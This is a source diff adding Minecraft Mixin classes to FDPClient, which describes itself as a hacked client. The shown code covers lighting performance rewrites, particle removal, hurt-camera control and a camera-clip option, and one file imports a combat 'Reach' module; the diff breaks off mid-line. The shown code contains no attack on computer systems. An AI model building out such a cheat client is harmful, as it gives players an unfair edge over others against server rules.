+import net.minecraft.world.chunk.Chunk; +import net.minecraft.world.chunk.storage.ExtendedBlockStorage; +import net.minecraft.world.gen.ChunkProviderDebug; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; + +@Mixin(value={Chunk.class}) +public abstract class MixinChunk implements IChunk { + @Shadow + @Final + private World worldObj; + @Shadow + @Final + private ExtendedBlockStorage[] storageArrays; + @Shadow + @Final + private int[] heightMap; + @Shadow + private boolean isModified; + + @Shadow + public abstract void generateSkylightMap(); + + @Override + public int getLightFor(EnumSkyBlock enumSkyBlock, int n, int n2, int n3) { + int n4 = n & 0xF; + int n5 = n3 & 0xF; + ExtendedBlockStorage extendedBlockStorage = this.storageArrays[n2 >> 4]; + return extendedBlockStorage == null ? (this.canSeeSky(n, n2, n3) ? enumSkyBlock.defaultLightValue : 0) : (enumSkyBlock == EnumSkyBlock.SKY ? (this.worldObj.provider.getHasNoSky() ? 0 : extendedBlockStorage.getExtSkylightValue(n4, n2 & 0xF, n5)) : (enumSkyBlock == EnumSkyBlock.BLOCK ? extendedBlockStorage.getExtBlocklightValue(n4, n2 & 0xF, n5) : enumSkyBlock.defaultLightValue)); + } + + @Override + public int getLightSubtracted(int n, int n2, int n3, int n4) { + int n5 = n & 0xF; + int n6 = n3 & 0xF; + ExtendedBlockStorage extendedBlockStorage = this.storageArrays[n2 >> 4]; + if (extendedBlockStorage == null) { + return !this.worldObj.provider.getHasNoSky() && n4 < EnumSkyBlock.SKY.defaultLightValue ? EnumSkyBlock.SKY.defaultLightValue - n4 : 0; + } + int n7 = this.worldObj.provider.getHasNoSky() ? 0 : extendedBlockStorage.getExtSkylightValue(n5, n2 & 0xF, n6); + int n8 = extendedBlockStorage.getExtBlocklightValue(n5, n2 & 0xF, n6); + if (n8 > (n7 -= n4)) { + n7 = n8; + } + return n7; + } + + @Override + public boolean canSeeSky(int n, int n2, int n3) { + int n4 = n3 & 0xF; + int n5 = n & 0xF; + return n2 >= this.heightMap[n4 << 4 | n5]; + } + + @Override + public void setLightFor(EnumSkyBlock enumSkyBlock, int n, int n2, int n3, int n4) { + int n5 = n & 0xF; + int n6 = n3 & 0xF; + ExtendedBlockStorage extendedBlockStorage = this.storageArrays[n2 >> 4]; + if (extendedBlockStorage == null) { + ExtendedBlockStorage extendedBlockStorage2 = new ExtendedBlockStorage(n2 >> 4 << 4, !this.worldObj.provider.getHasNoSky()); + this.storageArrays[n2 >> 4] = extendedBlockStorage2; + extendedBlockStorage = extendedBlockStorage2; + this.generateSkylightMap(); + } + this.isModified = true; + if (enumSkyBlock == EnumSkyBlock.SKY) { + if (!this.worldObj.provider.getHasNoSky()) { + extendedBlockStorage.setExtSkylightValue(n5, n2 & 0xF, n6, n4); + } + } else if (enumSkyBlock == EnumSkyBlock.BLOCK) { + extendedBlockStorage.setExtBlocklightValue(n5, n2 & 0xF, n6, n4); + } + } + + @Override + public IBlockState getBlockState(int n, int n2, int n3) { + if (this.worldObj.getWorldType() == WorldType.DEBUG_WORLD) { + IBlockState iBlockState = null; + if (n2 == 60) { + iBlockState = Blocks.barrier.getDefaultState(); + } + if (n2 == 70) { + iBlockState = ChunkProviderDebug.func_177461_b(n, n3); + } + return iBlockState == null ? Blocks.air.getDefaultState() : iBlockState; + } + try { + ExtendedBlockStorage extendedBlockStorage; + if (n2 >= 0 && n2 >> 4 < this.storageArrays.length && (extendedBlockStorage = this.storageArrays[n2 >> 4]) != null) { + int n4 = n & 0xF; + int n5 = n2 & 0xF; + int n6 = n3 & 0xF; + return extendedBlockStorage.get(n4, n5, n6); + } + return Blocks.air.getDefaultState(); + } + catch (Throwable throwable) { + CrashReport crashReport = CrashReport.makeCrashReport(throwable, "Getting block state"); + CrashReportCategory crashReportCategory = crashReport.makeCategory("Block being got"); + crashReportCategory.addCrashSectionCallable("Location", () -> CrashReportCategory.getCoordinateInfo(new BlockPos(n, n2, n3))); + throw new ReportedException(crashReport); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinEntityFX.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinEntityFX.java new file mode 100644 index 0000000..b27937c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinEntityFX.java @@ -0,0 +1,15 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.performance; + +import net.ccbluex.liquidbounce.features.module.modules.client.Performance; +import net.minecraft.client.particle.EntityFX; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Redirect; + +@Mixin(value={EntityFX.class}) +public class MixinEntityFX { + @Redirect(method={"renderParticle"}, at=@At(value="INVOKE", target="Lnet/minecraft/client/particle/EntityFX;getBrightnessForRender(F)I")) + private int renderParticle(EntityFX entityFX, float f) { + return Performance.staticParticleColorValue.get() ? 0xF000F0 : entityFX.getBrightnessForRender(f); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinRenderGlobal.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinRenderGlobal.java new file mode 100644 index 0000000..afb47f7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinRenderGlobal.java @@ -0,0 +1,18 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.performance; + +import net.ccbluex.liquidbounce.injection.access.IMixinWorldAccess; +import net.minecraft.client.renderer.RenderGlobal; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; + +@Mixin(value={RenderGlobal.class}) +public abstract class MixinRenderGlobal implements IMixinWorldAccess { + + @Shadow + protected abstract void markBlocksForUpdate(int var1, int var2, int var3, int var4, int var5, int var6); + + @Override + public void notifyLightSet(int n, int n2, int n3) { + this.markBlocksForUpdate(n - 1, n2 - 1, n3 - 1, n + 1, n2 + 1, n3 + 1); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinWorld.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinWorld.java new file mode 100644 index 0000000..1ec9001 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinWorld.java @@ -0,0 +1,414 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.performance; + +import com.google.common.collect.ImmutableSetMultimap; +import net.ccbluex.liquidbounce.features.module.modules.client.Performance; +import net.ccbluex.liquidbounce.injection.access.*; +import net.minecraft.block.state.IBlockState; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.init.Blocks; +import net.minecraft.profiler.Profiler; +import net.minecraft.util.EnumFacing; +import net.minecraft.util.MathHelper; +import net.minecraft.world.*; +import net.minecraft.world.chunk.Chunk; +import net.minecraft.world.storage.WorldInfo; +import net.minecraftforge.common.ForgeChunkManager; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import java.util.List; +import java.util.Random; +import java.util.Set; + +@Mixin(value={World.class}) +public abstract class MixinWorld implements IWorld { + @Shadow + @Final + public WorldProvider provider; + @Shadow + private int skylightSubtracted; + @Shadow + @Final + public boolean isRemote; + @Shadow + protected WorldInfo worldInfo; + @Shadow + @Final + public Profiler theProfiler; + @Shadow + protected List<IWorldAccess> worldAccesses; + @Shadow + int[] lightUpdateBlockList; + + @Shadow + protected abstract boolean isChunkLoaded(int var1, int var2, boolean var3); + + @Shadow + public abstract Chunk getChunkFromChunkCoords(int var1, int var2); + + @Shadow + protected abstract boolean isAreaLoaded(int var1, int var2, int var3, int var4, int var5, int var6, boolean var7); + + @Shadow + protected Set<ChunkCoordIntPair> activeChunkSet; + @Shadow + @Final + public List<EntityPlayer> playerEntities; + @Shadow + private int ambientTickCountdown; + @Shadow + @Final + public Random rand; + @Shadow + public abstract ImmutableSetMultimap<ChunkCoordIntPair, ForgeChunkManager.Ticket> getPersistentChunks(); + @Shadow + protected abstract int getRenderDistanceChunks(); + + @Inject(method={"setActivePlayerChunksAndCheckLight"}, at={@At(value="HEAD")}, cancellable=true) + private void setActivePlayerChunksAndCheckLight(CallbackInfo callbackInfo) { + if (Performance.fastBlockLightningValue.get()) { + int n; + int n2; + int n3; + callbackInfo.cancel(); + this.activeChunkSet.clear(); + this.theProfiler.startSection("buildList"); + this.activeChunkSet.addAll(this.getPersistentChunks().keySet()); + for (EntityPlayer entityPlayer : this.playerEntities) { + n3 = MathHelper.floor_double(entityPlayer.posX / 16.0); + n2 = MathHelper.floor_double(entityPlayer.posZ / 16.0); + n = this.getRenderDistanceChunks(); + for (int i = -n; i <= n; ++i) { + for (int j = -n; j <= n; ++j) { + this.activeChunkSet.add(new ChunkCoordIntPair(i + n3, j + n2)); + } + } + } + this.theProfiler.endSection(); + if (this.ambientTickCountdown > 0) { + --this.ambientTickCountdown; + } + this.theProfiler.startSection("playerCheckLight"); + if (!this.playerEntities.isEmpty()) { + EntityPlayer entityPlayer; + int n4 = this.rand.nextInt(this.playerEntities.size()); + entityPlayer = this.playerEntities.get(n4); + n3 = MathHelper.floor_double(entityPlayer.posX) + this.rand.nextInt(11) - 5; + n2 = MathHelper.floor_double(entityPlayer.posY) + this.rand.nextInt(11) - 5; + n = MathHelper.floor_double(entityPlayer.posZ) + this.rand.nextInt(11) - 5; + this.checkLight(n3, n2, n); + } + this.theProfiler.endSection(); + } + } + + @Override + public boolean isAreaLoaded(int n, int n2, int n3, int n4, boolean bl) { + return this.isAreaLoaded(n - n4, n2 - n4, n3 - n4, n + n4, n2 + n4, n3 + n4, bl); + } + + @Override + public boolean isBlockLoaded(int n, int n2, int n3) { + return this.isBlockLoaded(n, n2, n3, true); + } + + @Override + public boolean isBlockLoaded(int n, int n2, int n3, boolean bl) { + return this.isValid(n, n2, n3) && this.isChunkLoaded(n >> 4, n3 >> 4, bl); + } + + @Override + public boolean isValid(int n, int n2, int n3) { + return n >= -30000000 && n3 >= -30000000 && n < 30000000 && n3 < 30000000 && n2 >= 0 && n2 < 256; + } + + @Override + public boolean canSeeSky(int n, int n2, int n3) { + return ((IChunk)this.getChunkFromBlockCoords(n, n2, n3)).canSeeSky(n, n2, n3); + } + + @Override + public int getCombinedLight(int n, int n2, int n3, int n4) { + int n5 = this.getLightFromNeighborsFor(EnumSkyBlock.SKY, n, n2, n3); + int n6 = this.getLightFromNeighborsFor(EnumSkyBlock.BLOCK, n, n2, n3); + if (n6 < n4) { + n6 = n4; + } + return n5 << 20 | n6 << 4; + } + + @Override + public int getRawLight(int n, int n2, int n3, EnumSkyBlock enumSkyBlock) { + if (enumSkyBlock == EnumSkyBlock.SKY && this.canSeeSky(n, n2, n3)) { + return 15; + } + IBlock IBlock2 = (IBlock)this.getBlockState(n, n2, n3).getBlock(); + int n4 = IBlock2.getLightValue((World)(Object)this, n, n2, n3); + int n5 = enumSkyBlock == EnumSkyBlock.SKY ? 0 : n4; + int n6 = IBlock2.getLightOpacity((World)(Object)this, n, n2, n3); + if (n6 >= 15 && n4 > 0) { + n6 = 1; + } + if (n6 < 1) { + n6 = 1; + } + if (n6 >= 15) { + return 0; + } + if (n5 >= 14) { + return n5; + } + for (EnumFacing enumFacing : StaticStorage.facings()) { + int n7 = this.getLightFor(enumSkyBlock, n + enumFacing.getFrontOffsetX(), n2 + enumFacing.getFrontOffsetY(), n3 + enumFacing.getFrontOffsetZ()) - n6; + if (n7 > n5) { + n5 = n7; + } + if (n5 < 14) continue; + return n5; + } + return n5; + } + + @Override + public float getLightBrightness(int n, int n2, int n3) { + return this.provider.getLightBrightnessTable()[this.getLightFromNeighbors(n, n2, n3)]; + } + + @Override + public int getLight(int n, int n2, int n3, boolean bl) { + if (n >= -30000000 && n3 >= -30000000 && n < 30000000 && n3 < 30000000) { + if (bl && this.getBlockState(n, n2, n3).getBlock().getUseNeighborBrightness()) { + int n4 = this.getLight(n, n2 + 1, n3, false); + int n5 = this.getLight(n + 1, n2, n3, false); + int n6 = this.getLight(n - 1, n2, n3, false); + int n7 = this.getLight(n, n2, n3 + 1, false); + int n8 = this.getLight(n, n2, n3 - 1, false); + if (n5 > n4) { + n4 = n5; + } + if (n6 > n4) { + n4 = n6; + } + if (n7 > n4) { + n4 = n7; + } + if (n8 > n4) { + n4 = n8; + } + return n4; + } + if (n2 < 0) { + return 0; + } + if (n2 >= 256) { + n2 = 255; + } + IChunk IChunk2 = (IChunk)this.getChunkFromBlockCoords(n, n2, n3); + return IChunk2.getLightSubtracted(n, n2, n3, this.skylightSubtracted); + } + return 15; + } + + @Override + public int getLightFor(EnumSkyBlock enumSkyBlock, int n, int n2, int n3) { + if (n2 < 0) { + n2 = 0; + } + if (!this.isValid(n, n2, n3)) { + return enumSkyBlock.defaultLightValue; + } + if (!this.isBlockLoaded(n, n2, n3)) { + return enumSkyBlock.defaultLightValue; + } + IChunk IChunk2 = (IChunk)this.getChunkFromBlockCoords(n, n2, n3); + return IChunk2.getLightFor(enumSkyBlock, n, n2, n3); + } + + @Override + public int getLightFromNeighbors(int n, int n2, int n3) { + return this.getLight(n, n2, n3, true); + } + + @Override + public int getLightFromNeighborsFor(EnumSkyBlock enumSkyBlock, int n, int n2, int n3) { + if (this.provider.getHasNoSky() && enumSkyBlock == EnumSkyBlock.SKY) { + return 0; + } + if (n2 < 0) { + n2 = 0; + } + if (!this.isValid(n, n2, n3)) { + return enumSkyBlock.defaultLightValue; + } + if (!this.isBlockLoaded(n, n2, n3)) { + return enumSkyBlock.defaultLightValue; + } + if (this.getBlockState(n, n2, n3).getBlock().getUseNeighborBrightness()) { + int n4 = this.getLightFor(enumSkyBlock, n, n2 + 1, n3); + int n5 = this.getLightFor(enumSkyBlock, n + 1, n2, n3); + int n6 = this.getLightFor(enumSkyBlock, n - 1, n2, n3); + int n7 = this.getLightFor(enumSkyBlock, n, n2, n3 + 1); + int n8 = this.getLightFor(enumSkyBlock, n, n2, n3 - 1); + if (n5 > n4) { + n4 = n5; + } + if (n6 > n4) { + n4 = n6; + } + if (n7 > n4) { + n4 = n7; + } + if (n8 > n4) { + n4 = n8; + } + return n4; + } + IChunk IChunk2 = (IChunk)this.getChunkFromBlockCoords(n, n2, n3); + return IChunk2.getLightFor(enumSkyBlock, n, n2, n3); + } + + @Override + public void setLightFor(EnumSkyBlock enumSkyBlock, int n, int n2, int n3, int n4) { + if (this.isValid(n, n2, n3) && this.isBlockLoaded(n, n2, n3)) { + IChunk IChunk2 = (IChunk)this.getChunkFromBlockCoords(n, n2, n3); + IChunk2.setLightFor(enumSkyBlock, n, n2, n3, n4); + this.notifyLightSet(n, n2, n3); + } + } + + @Override + public boolean checkLight(int n, int n2, int n3) { + boolean bl = false; + if (!this.provider.getHasNoSky()) { + bl = this.checkLightFor(EnumSkyBlock.SKY, n, n2, n3); + } + return bl | this.checkLightFor(EnumSkyBlock.BLOCK, n, n2, n3); + } + + @Override + public boolean checkLightFor(EnumSkyBlock enumSkyBlock, int n, int n2, int n3) { + int n4; + int n5; + int n6; + int n7; + int n8; + int n9; + int n10; + int n11; + int n12; + if (!this.isAreaLoaded(n, n2, n3, 17, false)) { + return false; + } + int n13 = 0; + int n14 = 0; + this.theProfiler.startSection("getBrightness"); + int n15 = this.getLightFor(enumSkyBlock, n, n2, n3); + int n16 = this.getRawLight(n, n2, n3, enumSkyBlock); + if (n16 > n15) { + this.lightUpdateBlockList[n14++] = 133152; + } else if (n16 < n15) { + this.lightUpdateBlockList[n14++] = 0x20820 | n15 << 18; + while (n13 < n14) { + n12 = this.lightUpdateBlockList[n13++]; + n11 = (n12 & 0x3F) - 32 + n; + n10 = (n12 >> 6 & 0x3F) - 32 + n2; + n9 = (n12 >> 12 & 0x3F) - 32 + n3; + n8 = n12 >> 18 & 0xF; + n7 = this.getLightFor(enumSkyBlock, n11, n10, n9); + if (n7 != n8) continue; + this.setLightFor(enumSkyBlock, n11, n10, n9, 0); + if (n8 <= 0 || MathHelper.abs_int(n11 - n) + MathHelper.abs_int(n10 - n2) + MathHelper.abs_int(n9 - n3) >= 17) continue; + for (EnumFacing enumFacing : StaticStorage.facings()) { + int n17 = n11 + enumFacing.getFrontOffsetX(); + int n18 = n10 + enumFacing.getFrontOffsetY(); + int n19 = n9 + enumFacing.getFrontOffsetZ(); + int n20 = Math.max(1, this.getBlockState(n17, n18, n19).getBlock().getLightOpacity()); + n7 = this.getLightFor(enumSkyBlock, n17, n18, n19); + if (n7 != n8 - n20 || n14 >= this.lightUpdateBlockList.length) continue; + this.lightUpdateBlockList[n14++] = n17 - n + 32 | n18 - n2 + 32 << 6 | n19 - n3 + 32 << 12 | n8 - n20 << 18; + } + } + n13 = 0; + } + this.theProfiler.endSection(); + this.theProfiler.startSection("checkedPosition < toCheckCount"); + while (n13 < n14) { + boolean bl; + n12 = this.lightUpdateBlockList[n13++]; + n11 = (n12 & 0x3F) - 32 + n; + n10 = (n12 >> 6 & 0x3F) - 32 + n2; + n9 = (n12 >> 12 & 0x3F) - 32 + n3; + n8 = this.getLightFor(enumSkyBlock, n11, n10, n9); + n7 = this.getRawLight(n11, n10, n9, enumSkyBlock); + if (n7 == n8) continue; + this.setLightFor(enumSkyBlock, n11, n10, n9, n7); + if (n7 <= n8) continue; + n6 = Math.abs(n11 - n); + n5 = Math.abs(n10 - n2); + n4 = Math.abs(n9 - n3); + boolean bl2 = bl = n14 < this.lightUpdateBlockList.length - 6; + if (n6 + n5 + n4 >= 17 || !bl) continue; + if (this.getLightFor(enumSkyBlock, n11 - 1, n10, n9) < n7) { + this.lightUpdateBlockList[n14++] = n11 - 1 - n + 32 + (n10 - n2 + 32 << 6) + (n9 - n3 + 32 << 12); + } + if (this.getLightFor(enumSkyBlock, n11 + 1, n10, n9) < n7) { + this.lightUpdateBlockList[n14++] = n11 + 1 - n + 32 + (n10 - n2 + 32 << 6) + (n9 - n3 + 32 << 12); + } + if (this.getLightFor(enumSkyBlock, n11, n10 - 1, n9) < n7) { + this.lightUpdateBlockList[n14++] = n11 - n + 32 + (n10 - 1 - n2 + 32 << 6) + (n9 - n3 + 32 << 12); + } + if (this.getLightFor(enumSkyBlock, n11, n10 + 1, n9) < n7) { + this.lightUpdateBlockList[n14++] = n11 - n + 32 + (n10 + 1 - n2 + 32 << 6) + (n9 - n3 + 32 << 12); + } + if (this.getLightFor(enumSkyBlock, n11, n10, n9 - 1) < n7) { + this.lightUpdateBlockList[n14++] = n11 - n + 32 + (n10 - n2 + 32 << 6) + (n9 - 1 - n3 + 32 << 12); + } + if (this.getLightFor(enumSkyBlock, n11, n10, n9 + 1) >= n7) continue; + this.lightUpdateBlockList[n14++] = n11 - n + 32 + (n10 - n2 + 32 << 6) + (n9 + 1 - n3 + 32 << 12); + } + this.theProfiler.endSection(); + return true; + } + + @Override + public IBlockState getBlockState(int n, int n2, int n3) { + if (!this.isValid(n, n2, n3)) { + return Blocks.air.getDefaultState(); + } + IChunk IChunk2 = (IChunk)this.getChunkFromBlockCoords(n, n2, n3); + return IChunk2.getBlockState(n, n2, n3); + } + + @Override + public void markBlockForUpdate(int n, int n2, int n3) { + for (IWorldAccess iWorldAccess : this.worldAccesses) { + ((IMixinWorldAccess)iWorldAccess).markBlockForUpdate(n, n2, n3); + } + } + + @Override + public void markAndNotifyBlock(int n, int n2, int n3, Chunk chunk, IBlockState iBlockState, IBlockState iBlockState2, int n4) { + if (!((n4 & 2) == 0 || this.isRemote && (n4 & 4) != 0 || chunk != null && !chunk.isPopulated())) { + this.markBlockForUpdate(n, n2, n3); + } + if (!this.isRemote && (n4 & 1) != 0) { + iBlockState2.getBlock().hasComparatorInputOverride(); + }// empty if block + } + + @Override + public void notifyLightSet(int n, int n2, int n3) { + for (IWorldAccess iWorldAccess : this.worldAccesses) { + ((IMixinWorldAccess)iWorldAccess).notifyLightSet(n, n2, n3); + } + } + + @Override + public Chunk getChunkFromBlockCoords(int n, int n2, int n3) { + return this.getChunkFromChunkCoords(n >> 4, n3 >> 4); + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinWorldManager.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinWorldManager.java new file mode 100644 index 0000000..5dd5296 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/performance/MixinWorldManager.java @@ -0,0 +1,12 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.performance; + +import net.ccbluex.liquidbounce.injection.access.IMixinWorldAccess; +import net.minecraft.world.WorldManager; +import org.spongepowered.asm.mixin.Mixin; + +@Mixin(value=WorldManager.class) +public abstract class MixinWorldManager implements IMixinWorldAccess { + @Override + public void notifyLightSet(int n, int n2, int n3) { + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinEffectRenderer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinEffectRenderer.java new file mode 100644 index 0000000..40090ff --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinEffectRenderer.java @@ -0,0 +1,74 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + + +import net.ccbluex.liquidbounce.features.module.modules.client.Animations; +import net.minecraft.client.particle.EffectRenderer; +import net.minecraft.client.particle.EntityParticleEmitter; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import java.util.ConcurrentModificationException; +import java.util.Iterator; +import java.util.List; + +@Mixin(EffectRenderer.class) +public abstract class MixinEffectRenderer { + + @Shadow + protected abstract void updateEffectLayer(int layer); + + @Shadow + private List<EntityParticleEmitter> particleEmitters; + + /** + * @author Mojang + * @author Marco + */ + @Overwrite + public void updateEffects() { + try { + for(int i = 0; i < 4; ++i) + this.updateEffectLayer(i); + + for(final Iterator<EntityParticleEmitter> it = this.particleEmitters.iterator(); it.hasNext(); ) { + final EntityParticleEmitter entityParticleEmitter = it.next(); + + entityParticleEmitter.onUpdate(); + + if(entityParticleEmitter.isDead) + it.remove(); + } + } catch (final ConcurrentModificationException ignored) { + } + } + + @Inject( + method = { + "addBlockDestroyEffects", + "addBlockHitEffects(Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V" + }, at = @At("HEAD"), cancellable = true + ) + private void removeBlockBreakingParticles(CallbackInfo ci) { + if (Animations.getNoBlockParticles().get()) + ci.cancel(); + } + + // this is added by forge, so this shouldn't be remapped (and causes a compile error if it is) + @Inject( + method = "addBlockHitEffects(Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/MovingObjectPosition;)V", + at = @At("HEAD"), cancellable = true, remap = false + ) + private void removeBlockBreakingParticles_Forge(CallbackInfo ci) { + if (Animations.getNoBlockParticles().get()) + ci.cancel(); +} +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinEntityRenderer.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinEntityRenderer.java new file mode 100644 index 0000000..7ec96e6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinEntityRenderer.java @@ -0,0 +1,235 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.render; + +import com.google.common.base.Predicates; +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.Render3DEvent; +import net.ccbluex.liquidbounce.features.module.modules.client.HurtCam; +import net.ccbluex.liquidbounce.features.module.modules.combat.Reach; +import net.ccbluex.liquidbounce.features.module.modules.visual.CameraModule; +import net.minecraft.block.Block; +import net.minecraft.block.state.IBlockState; +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.ActiveRenderInfo; +import net.minecraft.client.renderer.EntityRenderer; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.entity.Entity; +import net.minecraft.entity.EntityLivingBase; +import net.minecraft.entity.item.EntityItemFrame; +import net.minecraft.entity.passive.EntityAnimal; +import net.minecraft.util.*; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; +import org.spongepowered.asm.mixin.injection.Redirect; +import static org.objectweb.asm.Opcodes.GETFIELD; + +import java.util.List; +import java.util.ArrayList; +import java.util.Objects; + +@Mixin(EntityRenderer.class) +public abstract class MixinEntityRenderer { + + @Shadow + public abstract void loadShader(ResourceLocation resourceLocationIn); + + @Shadow + public abstract void setupCameraTransform(float partialTicks, int pass); + + @Shadow + private Entity pointedEntity; + + @Shadow + private Minecraft mc; + + @Shadow + public float thirdPersonDistanceTemp; + + @Shadow + public float thirdPersonDistance; + + @Shadow + private boolean cloudFog; + + @Inject(method = "renderWorldPass", at = @At(value = "FIELD", target = "Lnet/minecraft/client/renderer/EntityRenderer;renderHand:Z", shift = At.Shift.BEFORE)) + private void renderWorldPass(int pass, float partialTicks, long finishTimeNano, CallbackInfo callbackInfo) { + FDPClient.eventManager.callEvent(new Render3DEvent(partialTicks)); + } + + @Inject(method = "hurtCameraEffect", at = @At("HEAD"), cancellable = true) + private void injectHurtCameraEffect(CallbackInfo callbackInfo) { + if(!Objects.requireNonNull(FDPClient.moduleManager.getModule(HurtCam.class)).getModeValue().get().equalsIgnoreCase("Vanilla")) { + callbackInfo.cancel(); + } + } + + @Inject(method = "orientCamera", at = @At(value = "INVOKE", target = "Lnet/minecraft/util/Vec3;distanceTo(Lnet/minecraft/util/Vec3;)D"), cancellable = true) + private void cameraClip(float partialTicks, CallbackInfo callbackInfo) { + if (Objects.requireNonNull(FDPClient.moduleManager.getModule(CameraModule.class)).getState() && CameraModule.INSTANCE.getCameraclip().get()) { + callbackInfo.cancel(); + + Entity entity = this.mc.getRenderViewEntity(); + float f = entity.getEyeHeight(); + + if(entity instanceof EntityLivingBase && ((EntityLivingBase) entity).isPlayerSleeping()) { + f += 1; + GlStateManager.translate(0F, 0.3F, 0.0F); + + if(!this.mc.gameSettings.debugCamEnable) { + BlockPos blockpos = new BlockPos(entity); + IBlockState iblockstate = this.mc.theWorld.getBlockState(blockpos); + net.minecraftforge.client.ForgeHooksClient.orientBedCamera(this.mc.theWorld, blockpos, iblockstate, entity); + + GlStateManager.rotate(entity.prevRotationYaw + (entity.rotationYaw - entity.prevRotationYaw) * partialTicks + 180.0F, 0.0F, -1.0F, 0.0F); + GlStateManager.rotate(entity.prevRotationPitch + (entity.rotationPitch - entity.prevRotationPitch) * partialTicks, -1.0F, 0.0F, 0.0F); + } + }else if(this.mc.gameSettings.thirdPersonView > 0) { + double d3 = this.thirdPersonDistanceTemp + (this.thirdPersonDistance - this.thirdPersonDistanceTemp) * partialTicks; + + if(this.mc.gameSettings.debugCamEnable) { + GlStateManager.translate(0.0F, 0.0F, (float) (-d3)); + }else{ + float f1 = entity.rotationYaw; + float f2 = entity.rotationPitch; + + if(this.mc.gameSettings.thirdPersonView == 2) + f2 += 180.0F; + + if(this.mc.gameSettings.thirdPersonView == 2) + GlStateManager.rotate(180.0F, 0.0F, 1.0F, 0.0F); + + GlStateManager.rotate(entity.rotationPitch - f2, 1.0F, 0.0F, 0.0F); + GlStateManager.rotate(entity.rotationYaw - f1, 0.0F, 1.0F, 0.0F); + GlStateManager.translate(0.0F, 0.0F, (float) (-d3)); + GlStateManager.rotate(f1 - entity.rotationYaw, 0.0F, 1.0F, 0.0F); + GlStateManager.rotate(f2 - entity.rotationPitch, 1.0F, 0.0F, 0.0F); + } + } else { + GlStateManager.translate(0.0F, 0.0F, -0.1F); + } + + if(!this.mc.gameSettings.debugCamEnable) { + float yaw = entity.prevRotationYaw + (entity.rotationYaw - entity.prevRotationYaw) * partialTicks + 180.0F; + float pitch = entity.prevRotationPitch + (entity.rotationPitch - entity.prevRotationPitch) * partialTicks; + float roll = 0.0F; + if(entity instanceof EntityAnimal) { + EntityAnimal entityanimal = (EntityAnimal) entity; + yaw = entityanimal.prevRotationYawHead + (entityanimal.rotationYawHead - entityanimal.prevRotationYawHead) * partialTicks + 180.0F; + } + + Block block = ActiveRenderInfo.getBlockAtEntityViewpoint(this.mc.theWorld, entity, partialTicks); + net.minecraftforge.client.event.EntityViewRenderEvent.CameraSetup event = new net.minecraftforge.client.event.EntityViewRenderEvent.CameraSetup((EntityRenderer) (Object) this, entity, block, partialTicks, yaw, pitch, roll); + net.minecraftforge.common.MinecraftForge.EVENT_BUS.post(event); + GlStateManager.rotate(event.roll, 0.0F, 0.0F, 1.0F); + GlStateManager.rotate(event.pitch, 1.0F, 0.0F, 0.0F); + GlStateManager.rotate(event.yaw, 0.0F, 1.0F, 0.0F); + } + + GlStateManager.translate(0.0F, -f, 0.0F); + double d0 = entity.prevPosX + (entity.posX - entity.prevPosX) * partialTicks; + double d1 = entity.prevPosY + (entity.posY - entity.prevPosY) * partialTicks + f; + double 